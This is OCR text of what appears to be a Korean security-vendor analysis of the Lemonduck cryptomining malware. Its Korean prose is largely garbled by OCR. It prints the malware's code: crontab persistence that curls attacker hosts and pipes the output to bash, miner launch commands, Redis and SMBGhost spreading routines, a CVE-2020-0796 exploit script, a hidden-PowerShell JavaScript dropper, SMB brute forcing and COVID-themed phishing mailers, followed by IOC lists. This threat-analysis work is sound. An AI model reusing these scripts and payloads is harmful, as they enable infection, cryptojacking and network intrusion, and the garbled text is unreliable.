00000080 EO 74 Al 08 80 60 13 24 D8 90 40 10 EC C1 88 CD at;.€'.$p.@.iA-1
00000090 E6 92 EC 1D 69 47 23 29 AB 2A 81 CA 65 56 65 5D &’i.iG#)«*.EeVe)
000000A0 66 16 40 CC ED 9D BC F7 DE 7B EF BD F7 DE 7B EF f.@Ii.W=P{i%-B{i
000000BO BD F7 BA 3B 9D 4E 27 F7 DF FF 3F 5C 66 64 01 6C %=°;.N'=B¢y?\fd.1
Gzip Data

[3& 22] knil.bin DfY 7=

O O —
AlSEl of TS Soff AX|E|0] Q= THE Aosiy Mz ANTE S 5 AXSHT THE A
HZ2 SSHE Eoff M TEES MOfSHCH 2|10, C2 MHEEE xrzip IS CHRZE & Qi

muarll="http://t.amynx.com/1ln/a.asp"
murl2="http://t.jdijdcig.top/In/a.asp”
cdate=§ (date "+3YEImIdA")
guid="echo §(sudo dmidecode -t 4 | grep ID | sed '"s/.*ID://:3/ //g')} §({ifconfig
| grep —oF '"HWaddr “E.*'|sed 's/://g")|sha2Sésum|awk '{print S1}°°
cmdl=" {curl -f35L fmurll?Z{src} F{cdatel* whoami * hostname *Z{guid}||wget -g
-0— Smurll?Z{src} S{cdate}* whoami’* "hostname *%{guid}) |bash"
cmdZ=" (curl -f35L fmurlZ?${src} S{cdatel}* whoami * hostname *Z{guid}||wget -g
-0- Smurll?S{src} S{cdate}* whoami'* "hostname *%{guid}) |bash"
echo ""»fvarfspool foron/root
echo ""»fvarfspoolforonfocrontabsfroot
if [0 -d "/.¥11"™ ]:then
mkdir /.X11
echo "S5 [SEANDOMEE0] * * * #* root Scmdl™ »» fetcf/crontab
echo "S5 [SEANDOMEE0] * * * #* root Scmd2"™ »» fetcfocrontab
uname -algrep x86 64 && echo "I [FRANDOMEE0] * * ® * root ps aux|grep
lplp.ackng.com |grep —-v gre J.X11/%r -o lplp.ackng.com:444 —--opencl
——donate-level=1l --nicehash -5 —--http-host=0.0.0.0 —--http-port=e552a" »» /
etcfocrontab

(curl -fs5L $mmrll?§{src} ${cdate}* whoami * hostname *$§{guid}||wget -g -O-
$murll?§{src}_${cdate}* whoami" * "hostname *§{guid}) |bash
(curl -fs5L $murl2?§{src}_ §{cdate}* whoami' * "hostname *§{guid}||wget -g -O-
Smurl2?§{src} ${cdate}* whoami" * "hostname"*§{guid}) |bash

[32 23] core.png T =
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if [V -f£ "./xx" ]:then
uname -a|grep =86 64 && (curl -f=5L d.ackng.com/In/=xr.zip| |wget -qg -0- d.
ackng.com/Iln/®r.zip)»xr.zip && tar xf xr.zip && rm xr.zip

fi

uname -algrep x86 64 &&k ps aux|grep lplp.ackng.com |grep -v grep || SEro-o

lplp.ackng.com: ——opencl --donate-level=! —--nicehash -B --http-host=

--http-port=

[OE 24] Y2ohh X 2=

2020 HiE0l= 254 2tE B dFE R Ui & Redisk R28E[0] QT 6379,
16379 ZEJt Ey UCH info BY3 Sl 2l=A 28 8% 7t ddFES O 9
SOt SSHRF OV 2 Yo Mz HdT =5 X0,

foreach(§fourrip in §redis portopen[']) {

if (($old portopen[.!] -notcontains $ecurrip) -and (§currip.
length -gt ) {

Write-host "start redis command check...Zcurrip”
$flagl = redisexec §currip Sredis code
if(§flagl -=q Strue){

write-host "s3O0CC!HI"

try{ {(Hew-Chject Het.WeblClient) .DownloadString(

$down url+'/report.json?v='"+§VVERSION+' sitype=rdssip="+
Soarrip+'at="+5t) tcatchi{}
break
[d2! 25] Redis 34 T E
2020\ ME0fl= 20203 320j| THA|E CVE-2020-0796 FEE 0|8dl &TE M}

Fot= DETF UL 4458 LEJE B Qg M, C228E smgh.bin IIES C22
C 20t %TEMP%\smgh.exe Lt = Mot} Mot smgh.exe DS S0 CVE-2020-

74d9 ASHAS A = L
0796 FIoFE B7S $3AotT WACES Soff %7

0

x
gl
M
U

TR C o} Alss ot AT
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E % Bl o e my o S, TR, T E — n S ||
write—-nost STALlT SmoghosStc SCaniling. . .«+CUrll

Sret=Invoke-SMBGhost Scurrip

if($ret){
write-host "[+]Zcurrip seems snbghost
valnerable.,.."
trv{ (Hew-Ckject HNet.WeblClient) .DownloadString|
$down url+'/report.json?v=' +$HHERSIGH+
'ctype=smbhostiip="+Scurrip+'it="+5t) }catch{}
$retl=smbghost exec $currip $smgh_;nde
if(Sretl)
write-host "[+]got itc!!®
try{ (Hew-Ckhiject Net.WekbClient) .DownloadString |
jdown url+’ __;:::.j3::E"=‘+$??ERSIGH+
'stype=smbhost execiip='+§ourript'it="+§t) }
catchi}
}

[O8 26] CVE-2020-0796 4 ZE=

function smbghost exec(§ip,Somd) {

Smname="=smgh"
§sg_exepath=§env:tmp+"" Smname.exe"

§d retry=-
write-host "try to get remote Smname...";
start-sleep 2
try{Scon=(new-objsct System.Net.WebClient].DuwnloadDatat$down_pr1+“f:r:ane.:;::v=f??31 OMer=35d retry")}}
catchi{continue}

[System.TIC.File] : :WriteRll1Bytes (§sg_exepath, $con)
starct-sleep 1

1

if(!(test-path $sg exepath)){
return $false

1
Sretry=-
while ($true) {
if(retry-- -=q 0) {break}
write-host "try to remote exec Sip e
Sret=(cmd.exe /c $sg exepath -ip $1p —cmd ”""rl“]
if((5ret.length -gt 0} -and ($ret[-1].indexof("overwrote HalpInterruptController pointer™) -ne -1)){
return $true
}
1

return $false

[3& 27] smgh.bin T} CFREE FE

smgh.bin IS ZIHEI CVE-2020-0796 RCE TE2 AKBA] exe T2 ZATFQ! SFIIO|CY
[

()HELF lLf()I =) [:l%;jll

| M 27H=l FEQFH|WSHEM cmd QIXFZH0| 27|10 User Shellcode £
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27l=l RCE 2 E

g2

def do_rcelip, port):
find_low_stub(ip, port)
find_pmld_selfref(ip, port)
search_lial _heaplip, purt)

build_shel Icode()
print{"[+] built shellcode!”) =

pKernalllzerSharedPTE = get pte walKIISFR SHLRFD DATA)
print("[+] KUSER_SHAYRED_DATA PTE at %lx" ¥ pKernellUsaerSharedPTE)

cwcr'lrlto ptelip, port, pkKernelUserSharedPTE)
print{~[+] KUSEN_SHANED_DATA PTE NX bit cleared!™)

# TODO: figure out why we can't write the entire shellcode data at once. There is a ch

Lo_write - len{KERNEL_SHELLCODE)

write_bytes = 0

while wite_bytes < to_write:
write_sz = min([write_unit,
write_prinitive(ip, port,
write_bvtes += write_sz

to_write - write_bytes])
KERMEL_SHELLCODE[wr i te_bytes:write_bytes + write_sz], ps

nrint("[+] Wrote shellcode at ¥lx!~ % pshellcodeva)

cH

input{~[+] Press a key to cwecute shellcode!™)

\lllle_prmltlve(lp, port, struct.pack( <0, pshellcodeva),

L{"[+]

PHALP_INTCRRUPT + HALP_APIC
overwrole HalploterruptContrul ler puinter, should have execulion shorlly. .

f __name__ == "__n
parser = arqoarse ArﬂumentParserf]
DAFSRF . add arament( -ip~, help=" IP addrass nf target”, required=Trus)
narser_add_argument( -n”, “—-nort”, default=445. heln="SHE port, #
default- 445", required=Falce, tvpe=int)
args — parser.parge_args()

do_rce(arss. ip, arss.port)

f do_rcelie,

port):

find-lov_stublie. port)

Iind_plld_selfref(ip, port)

search_hal_heae(ip, port)

build_she| lcode

print{"[v] built shellcode!")

PKerneILlserSharedWE = get_pte_va(KUSEN_SHANED_DATA)
t("[+] KUSEM_SHANED_DATA PTE at %" % pKernel|UserSharedPTE)

overwrlle Dte( . port, pKernelUserShared'TE)

print{l+] K SHARED_DATA PTE WX bit cleared!’)

towrite = Icn(FEHHEI. SHELLCODE)

write_bytes — 0

whilec write_bytes < to_write:
write_sz = min{[#rite_unit, to_write - writo_bytes])
write_primitiva{ip, port, KEHNEL_SHELLLOUE[write_bytes write_bytes + write_sz],
write_bytes += write_sz

pst

print{ [+] Wrote shellcode at Xlxl X pshellcodeva)
urlta primitive(ip, port, struct.pack( <0, pshel|codeva), PHALP_INTERRUPT + HALP_APIC_
nt( [+] overwrote HalpInterruptController pointer, should have execution shortly.

f —_name__ = "__maln__".
parser = argparse. hraumentParser()
parser _add argument { . help="IP address nf target’, requlred=True}
parser_afd argument { ‘——port’, default=445, help='SHR port
parser ald argument (' -cuil*, help=' COMMARD" , regni red=True)

AlYS = UATSHET PATSH AT "\{
USER_PAYLOAD - LBEHJ’&YLD.‘.D[ 2671 + arss.omd encode() +
tu_ [L.Etd.l'q‘a fu. aras,porl

"Ww00°

[# 9] CVE-2020-0796 ZE H|u

CEoH O|3A] Eef0|EE Bl o dA=s TIpA|F |7 R[] CVE-2017-8464 FfTS AtEct
Ch X[oFN A4S E§j 201 ATZIEZ [IR2C B Al QT2 MupsHH 04| =2t
O|E0| blue3.bin, blueé.bin L1} blue3.Ink, blue6 Ink LU= MBS 2019 tHETCHEH]

2020 ME2 readme js TS 7+ ARSI}

2019

2020

public class USBLNE

public class USBLNR t
{ . . X . . . ublic static List<string? blacklist = new List<string>();
2 2 P! g. g
public static List<string®» blacklist = new List<string>(); pnblie atatic shing. abds
. d tat t i
public static string gb3; public static string gbé;
public static string gbé; public static string jsdata;
const string home = "UTFs= C const string home — "
const string inf data = "\\ _data"; const string inf data £ data”
static publie void Mainl(string bl, string b2) static public void Malnl(strlng b1, ar.ri.".g b2, string b3)
Createlnk (drive, " .bin™, gb3): Createlnk (drive, "blue=3.bin", gb3);
Createlnk (drive, .bin", gbe€);
Createlnk (drive, bin™, gqbe€};
CreateJa(drive, "r -j=", jadata):
-
[ 10] CVE-2017-8464 SZA4ZE H|u



readme.js LY LHEO|= This file is broken (TF0| WAL 2t= 2X1E 2o = O B2
SHMo= MM Un{ OFX|Ef 20| C22FE 7t ATJEHES 225 260 AdlSh= I}

He ATHEI QUL

f/Thizs file is broken...

var cmd =new LActiveXObhject ("WScript.Shell")var cmdstr="cm =

powershell -w hidden IE " x(Ne w-Chj ect

Net.WebC"lient) .DownLoadString('http://t.amv'+'nx.com/Tp.php?0.8%usb

is*Iusernamei*Icomputername:® '+ [Environment] @ :O5Version.version.Major
rbpu ('http://t.amv'+'nx.com/usk.jsp?js 0.8')";cmd. run (cmdstr,0,L);

[O3 28] readme.js T =

O

I
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445 TTEJL 92 912 A2 SMB BruteForceZ Esl| 27
—

=

VN , =
Y HBES Sof BH0| ST A0t TS CIR2C 64D Asichs YYOIS Asict
AH
OO

J35t41 FlashPlayer.

SHEE=o A3 [ =
2|30 X5l S5 sdok=0] 201990M = flashplayer.tmps
ImRe) i=3 11 —— oHS. ASHe CD (@) CD
Ink TS AZF D220 SSof IFSABS £ HIT 20201 BT run bat THUS
Aol ArsEdE S5t
write-host "start ipc scanning....Scarrip"”
for($n = 0; 5n -1t 5alluser. Cnaqt Sn++) {
wWwrite-host $alluser[5n]
copyrun -ip $omrrip -thedomain "localhost” -user $alluser[$n] -cmd §ipc_code
1
for($nn = 0; $nn -1t Sgetdomain.Count; Snn++){
if ($getdomain[$nn] -n= ". ") {
for(fuu = 0; Sun -1t Sgetusers.Count; Suont++) {

copyrun -ip §Scurrip -thedomain §getdomain[$nn] -user §getusers[fun] -cmd $ipc code

[l 29] SMB BruteForce T E



2019 2020
$core path = Spath arry[$k].trim()+
"AppData\Roaminghflashplayer.tmp’
Sbat path = "\\iip\c:iiusers' "+fusers[$k].trim()+
"15;1'1'2-31:.3" R:arri‘u_r"&’icr:s*’t" Windows\Start

$link path = $path arry[$k].trim()+

"ApplData\Roaming'Microsoft\Windows\Start

Menu'\ Programs'\ Startuph\FlashPlayer

.1nk"
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o Xz HdT =5 SR /less /AL UL
Function Killer |
SMiner = "5C","WerMgr™,"WerFault™,"DW20","msinfo™, "XMRY",
"Xxmrig*”, "minerd"™, "MinerGate™, "Carbon®™, "vamml®,
"upgeade™, "autoc-upgeade™, "svshost",
"SystemlIS™, "SystemllISSec™, "WindowsUpdater*',
"WindowsDefender®™, "uLdat:",
"carss", "service™, "csrsc", "cara", "Javaupd", "gxdrv",
"lsnﬁsee" "secuams”, "SQLEXPRESS Xed4 86", "Calligrap”,
"Sglcec "Setting”, "Uninsta", "conhoste”,"Setring”,
"Ealllg_L T Imaging™, "taskegr”,"Terms.EXE"™, "35:" "886e",
"99ge","96%96" ,"9797" ,"svchosti” "Searchlndex™, "Avira"™,
"cohernece™ ,"win" ,"S0Lforwin", hlgl", "taskmgrl™,

"Workstation™ ,"ress™,

"eXxplores”

foreach (Sm in 5Miner) |
Get-Process -Name Sm -Errorfction SilentlyContinue |

Stop-FProcess

-Force

[JEI 30] OI:I‘c';.“c'iI.uﬂ XH% 0I-k|=l = KE HE

-

Lemonduck

Ahnlab 45



If_mail.bin L}Y0|| U= TE=E A %TEMP%\readme.doc, readme.js LY S 2444640,
readme.doc ItLE CVE-2017-8570 F|UXS ALSOIHCH 2A| AlSH A| 2HEHH s Q

Foful JAotH, =/t ATHER LI22E Sl Hllo] g7 =5 AR

Aa
=
1o
{0
In

Sbase url = $base url.substring(l,10)+"'+' "+§base url.substring(l0)
Sversion="0.7"

$filename=- ]Cln([l:har[]]( . a2 THE5, 90457 ., ) |Get-Random -Count }+".3ct”
Sgdoc. cmd— cmd /o powershell —w hidden IE x({Ne'w-0bj ect

or) ha ".replace ("VER" ,Sve;sion}
$gdoc_title='
$gdoc_text="Thi:
$i= text='
$dde cmd="

=d by Microscoft Office.Please enable Editing and Content to see this documen

$cmd—|[$gdoc c.md
Sfakepath="0C:"\faker
$js_code="var cmd

) ou {EURL/mail.jsp?] B'")";cmd. run (cmdstr,0,1) ;" replace{ JRL"™ ,$base_ur1} .replace ("VER", $wversion)
{$js_text+" rn"| + ({get-random) & [ | +(get-random) & )+$:|s _code.trim() ) |out-fils Satt_js
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//This File is bkroken.

var cmd =new ActiveXObject("WiScript.Shell");var cmdstr="cmd
Jc start /L :::E;aﬂ "+WScript.ScriptFullName+" & powershell

-w hidden IE x(Ne w-0b]j ect

let.WebC " lient) . DownloadString ("http: a'+"'mynx.com/7p.php?
T'mail js*iusernamei*icomputername:* '+ [Environment SVersio

cmd. run{:mdstr,.,-},
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foreach (Scontact in Scontacts) |
Smail=50l.Createltem()
Smitem=35mail.Recipients.kdd (Scontact)
Smail.Subject = $mail subject
5mail.Body = Smail body
Smail.Attachments.Add($att doc,1,1,"readms.doc™)
Smail.Attachments.Add($att zip,1,1,"readme.

| i i1 "
Sendin .| mail...

Smail.Send()

write-host "Send mail to Scontact succ...”
leep ((get-random) &85+3)

del_sendmail $att zip name $att zip filesize A

del sendmail $att zip name $att zip filesize °

del sendmail $att zip name $att zip filesize -
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Mail Subject Mail Body

The Truth of COVID-19 Virus actually comes from United States of America

CQOVID-19 nCov Special info  very important infomation for Covid-19

WHO see attached document for your action and discretion.

the outbreak of CORONA VIRUS is cause of concern especially where
HALTH ADVISORY:CORONA  forign personal have recently arrived or will be arriving at various intt in
VIRUS near future.

see attached document for your action and discretion

WTF what's wrong with you?are you out of your mind!!!l!
What the fcuk are you out of your mindlllllwhat 's wrong with you?
good bye good bye, keep in touch
farewell letter good bye, keep in touch
broken file can you help me to fix the file,i can't read it
This is your order? file is brokened, i can't open it
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loC (Indicators of Compromise)
Y Hashes (MD5)

e IO MD5= LSt £L.

MD5

df2517b93055d1645bc38416c5dc997b

50dalbc0c833d90191071e888d5¢3%e2

d635176235010cac595715¢ch90f08d86

caa/6a79725c5de4973668a965d1bad7

f481819cc864d272b4a2dc7eed506adc

45ef8d4faac68bd425bfdfe064602377

b5f4e140377ec2e952413c2a8997f224

f8dc697b1812f61cf56bb656e90eabce

aOfe2dabefa4ebd9090d6efc31ffc4d0

b0db7ecb52598c4bf12e91e79c2077d4

€367a59f9d22dc8f6bd7789e7815d1f5

23d5%9ed726e13edabcb751da7a5¢ce310

6961a72029¢c844c71ff6549990813fe9

8c239df1dbd4aec55db66f3c0fcebaad

b204ead0dcc9cal053a1f26628725850

5b2849ff2e8c335dcc60fd2155b2d4d3

e49367b9e942cf2b891f60e53083¢938

3dd6161bef2d2ca0daleb34902ca04a5

e54f7f074a12f1bf41f8c6fd53d57c6f

15829926389bdfc651e8e9ad6513bf69

199c0f3d7d4713e899a0eefOccle2723

e561003b347f391eecd44759deldasebf

0047353437753748792da09%af8771fe2

676e657e578e22cb7a9138d6979c46c]

3162e619f8eb49f4dd6b48cb09075e10

724891a9d6e656677dff/c2e4e8bf62d

b06746589fd0c867d6eadfbce744d326

e7633ed33e30f6b0cea833244138dd77

ab656cc3498e5ec/7e53cdc07015af474¢

1330a0c73758cf945a1d63ea6965fdd0

371798c6¢cca9132332cH64cacbh456657

9e72de890eeb784a875ef57/b85b3eeld

15d2b962¢160092a5e14dda%94673%9a8b

415aae4f26158a16f2d6a5896b36e2a8

9c63b50f1b93518d9b7f8ef324496500

a48ea878f703c32ddac33abcHfad70d3

2977084f9ce3e9e2d356adaf2b5bdcfd

61362236af3edf4fa465976fa81f4b76

e5b8744c220d703f9a0e43f3a202¢785

b3ed3c00d5b23928d54da007d6b47480

5b3c44b503c7e592e416f68d3924620f

d67a06bb04a9dd48735e1b6cO9b5a7eec

99ecca08236f6¢cf766d7d8e2cc34eff6

d8109cec0a51719be6f411f67b3b7ect

5d65746514322116bc463ba8154e82b2

ffeb6dc402f37542889ae2d17b0eddf2
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hxxp://d.ackng.com/if.bin

hxxp://tjdjdcjq.top/In/a.asp

hxxp://d.ackng.com/m6.bin

Iplp.ackng.com:443

hxxp://d.ackng.com/még.bin

hxxp://down.ackng.com/mm.bin

hxxp://d.ackng.com/nvd.zip

hxxp://down.ackng.com/wf.cab

hxxp://d.ackng.com/if_mail.bin

hxxp://down.ackng.com/report.json

hxxp://d.ackng.com/mimi.dat

hxxp://down.ackng.com/log.json

hxxp://d.ackng.com/smgh.bin

hxxp://down.ackng.com/m3.bin

hxxp://d.ackng.com/knil.bin

hxxp://down.ackng.com/mé.bin

hxxp://d.ackng.com/log.json

hxxp://down.ackng.com/if.bin

hxxp://d.ackng.com/mm.bin

hxxp://t.awcna.com/v.js

hxxp://d.ackng.com/report.json

hxxp://t.amxny.com/v.js

hxxp://t.amynx.com/smgh.jsp

hxxp://t.zer2.com/v.js

hxxp://t.amynx.com/smgho.jsp

hxxp://t.zer2.com/v.jsp

hxxp://t.amynx.com/ms.jsp

hxxp://t.zer2.com/va.jsp

hxxp://t.amynx.com/mso.jsp

hxxp://t.zer2.com/report.jsp

hxxp://t.amynx.com/eb.jsp

hxxp://t.zer2.com/p.html

hxxp://t.amynx.com/usb.jsp

hxxp://t.zer2.com/ipc.jsp

hxxp://t.amynx.com/ipc.jsp

hxxp://t.zer2.com/ipco.jsp

hxxp://t.amynx.com/ipco.jsp

hxxp://t.zer2.com/ms. jsp

hxxp://t.amynx.com/In/core.png

hxxp://t.zer2.com/mso.jsp

hxxp://t.amynx.com/7p.php

hxxp://t.zer2.com/rdp.jsp

hxxp://t.amynx.com/mail jsp

hxxp://t.zer2.com/rdpo.jsp

hxxp://t.amynx.com/In/a.asp

hxxp://t.zer2.com/eb jsp

hxxp://t.amynx.com/a.jsp

hxxp://t.zer2.com/usb.jsp

hxxp://t.zz3r0.com/a.jsp

lpp.zer2.com:443

hxxp://t.zer9g.com/a jsp
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